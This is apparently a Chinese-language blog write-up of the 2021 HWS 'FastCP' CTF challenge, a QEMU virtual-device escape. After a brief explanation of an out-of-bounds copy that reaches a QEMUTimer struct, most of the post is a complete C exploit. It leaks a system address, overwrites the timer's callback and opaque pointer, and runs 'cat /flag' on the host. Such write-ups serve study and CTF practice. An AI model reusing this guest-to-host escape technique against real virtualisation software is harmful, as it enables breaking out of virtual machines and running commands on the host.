2021 HWS FastCP

还是熟悉的越界读写,CP_buffer之后有个QEMUTIMER结构体,劫持其cb指针为system,opaque为cmd即可.
对QemuTimer Callback的回调机制可以看: QemuTimer Callback机制

关键结构体如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
struct FastCPState
{
PCIDevice_0 pdev;
MemoryRegion_0 mmio;
CP_state cp_state;
uint8_t handling;
uint32_t irq_status;
char CP_buffer[4096];
QEMUTimer_0 cp_timer;
};

struct CP_state
{
uint64_t CP_list_src;
uint64_t CP_list_cnt;
uint64_t cmd;
};


struct FastCP_CP_INFO
{
uint64_t CP_src;
uint64_t CP_cnt;
uint64_t CP_dst;
};


struct QEMUTimer
{
int64_t expire_time;
QEMUTimerList_0 *timer_list;
QEMUTimerCB *cb;
void *opaque;
QEMUTimer_0 *next;
int attributes;
int scale;
};


要注意的一点是我们需要从指定的物理地址连续拷贝一页以上的数据到设备中,而mmap出的多个页面不一定在物理地址空间中连续,可以使用HugePage,其保证在物理内存中是连续的(在mmap中指定MAP_HUGETLB).

1
2
3
4
5
system("sysctl vm.nr_hugepages=1"); //当然多一点也行
char* buf = mmap(NULL,2048*1024,PROT_READ|PROT_WRITE,MAP_SHARED|MAP_ANONYMOUS|MAP_HUGETLB,-1,0);

//写入页面使得物理内存正式分配.
memset(buf,'a',2048*1024);

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
#include <assert.h>
#include <fcntl.h>
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/io.h>
#include <unistd.h>

#define HEX(x) printf("[*]0x%016llx\n", (unsigned long long)x)
#define LOG(addr) printf("[*]%s\n", addr)

#define PAGE_SHIFT 12
#define PAGE_SIZE (1 << PAGE_SHIFT)
#define PFN_PRESENT (1ull << 63)
#define PFN_PFN ((1ull << 55) - 1)
#define LOWMASK 0xffffffff
#define HIGHMASK 0xffffffff00000000

// typedef unsigned long long uint64_t;

size_t pmio_base = 0x000000000000c050;
void * mmio_mem;
char* userbuf;
uint64_t phy_userbuf;
int fd;
char* MAGIC = "HANQING!";

void Err(char* err){
printf("Error: %s\n", err);
perror(0);
exit(-1);
}


uint32_t page_offset(uint32_t addr)
{
return addr & ((1 << PAGE_SHIFT) - 1);
}


uint64_t gva_to_gfn(void *addr)
{
uint64_t pme, gfn;
size_t offset;

int fd = open("/proc/self/pagemap", O_RDONLY);
if (fd < 0) {
Err("open pagemap");
}
offset = ((uintptr_t)addr >> 9) & ~7;
lseek(fd, offset, SEEK_SET);
read(fd, &pme, 8);
if (!(pme & PFN_PRESENT))
return -1;
gfn = pme & PFN_PFN;
return gfn;
}

uint64_t gva_to_gpa(void *addr)
{
uint64_t gfn = gva_to_gfn(addr);
assert(gfn != -1);
return (gfn << PAGE_SHIFT) | page_offset((uint64_t)addr);
}

uint64_t mmio_read(uint64_t addr,uint64_t size){
return *(uint64_t *)( mmio_mem + addr );
}

void mmio_write(uint64_t addr,uint64_t val){
*(uint64_t *)(mmio_mem + addr) = val;
}

void pmio_write(uint32_t addr,uint32_t val){
outl(val,addr);
}

void pmio_writeb(uint32_t addr,uint8_t val){
outb(val,addr);
}

uint64_t pmio_read(uint32_t addr){
return (uint32_t)inl(addr);
}

uint64_t pmio_readb(uint32_t addr){
return (uint8_t)inb(addr);
}

void init_mmio(){
int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
if(mmio_fd < 0){
Err("Open pci");
}
mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
if(mmio_mem==-1){
Err("mmap mmio_mem");
}
}

void init_pa()
{
fd = open("/proc/self/pagemap", O_RDONLY);
if (fd < 0) {
perror("open");
exit(1);
}
}

typedef struct CP_INFO
{
uint64_t CP_src;
uint64_t CP_cnt;
uint64_t CP_dst;
}CP_INFO;


void copy_from_CP_buffer(void* dst,uint64_t cnt)
{
CP_INFO cp_info;
cp_info.CP_cnt = cnt;
cp_info.CP_dst = gva_to_gpa(dst);
mmio_write(8,gva_to_gpa(&cp_info));
mmio_write(0x10,1);
mmio_write(0x18,4);
sleep(1);
}

void copy_to_CP_buffer(void* src,uint64_t cnt)
{
CP_INFO cp_info;
cp_info.CP_cnt = cnt;
cp_info.CP_src = gva_to_gpa(src);
mmio_write(8,gva_to_gpa(&cp_info));
mmio_write(0x10,1);
mmio_write(0x18,2);
sleep(1);
}

void copy_to_CP_buffer_plus(void* src,void* dst,uint64_t cnt)
{
CP_INFO cp_info[0x11];
for(int i = 0;i<0x11;++i)
{
cp_info[i].CP_dst = gva_to_gpa(dst);
cp_info[i].CP_cnt = cnt;
cp_info[i].CP_src = gva_to_gpa(src);
}

mmio_write(8,gva_to_gpa(&cp_info));
mmio_write(0x10,0x11);
mmio_write(0x18,1);
sleep(1);
}

int main()
{
init_pa();
init_mmio();
system("sysctl vm.nr_hugepages=1");
char* buf = mmap(NULL,2048*1024,PROT_READ|PROT_WRITE,MAP_SHARED|MAP_ANONYMOUS|MAP_HUGETLB,-1,0);
if(buf==-1){
Err("mmap buf");
}
HEX(buf);
memset(buf,'a',2048*1024);


copy_from_CP_buffer(buf,0x1000+0x20);

uint64_t system_addr = *(uint64_t*)&buf[0x1010] - 0x21AD00;
HEX(system_addr);

uint64_t FastCPState_addr = *(uint64_t*)&buf[0x1018];
HEX(FastCPState_addr);

uint64_t cmd_addr = FastCPState_addr+0xA00;

strcpy(buf,"cat /flag\x00");
*(uint64_t*)&buf[0x1010] = system_addr;
*(uint64_t*)&buf[0x1018] = cmd_addr;
copy_to_CP_buffer(buf,0x1000);

copy_to_CP_buffer_plus(buf,buf,0x1000+0x20);

LOG("Trigger:");
mmio_write(0x18,2);
sleep(1);
}
  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2022-2024 翰青HanQi

请我喝杯咖啡吧~

支付宝
微信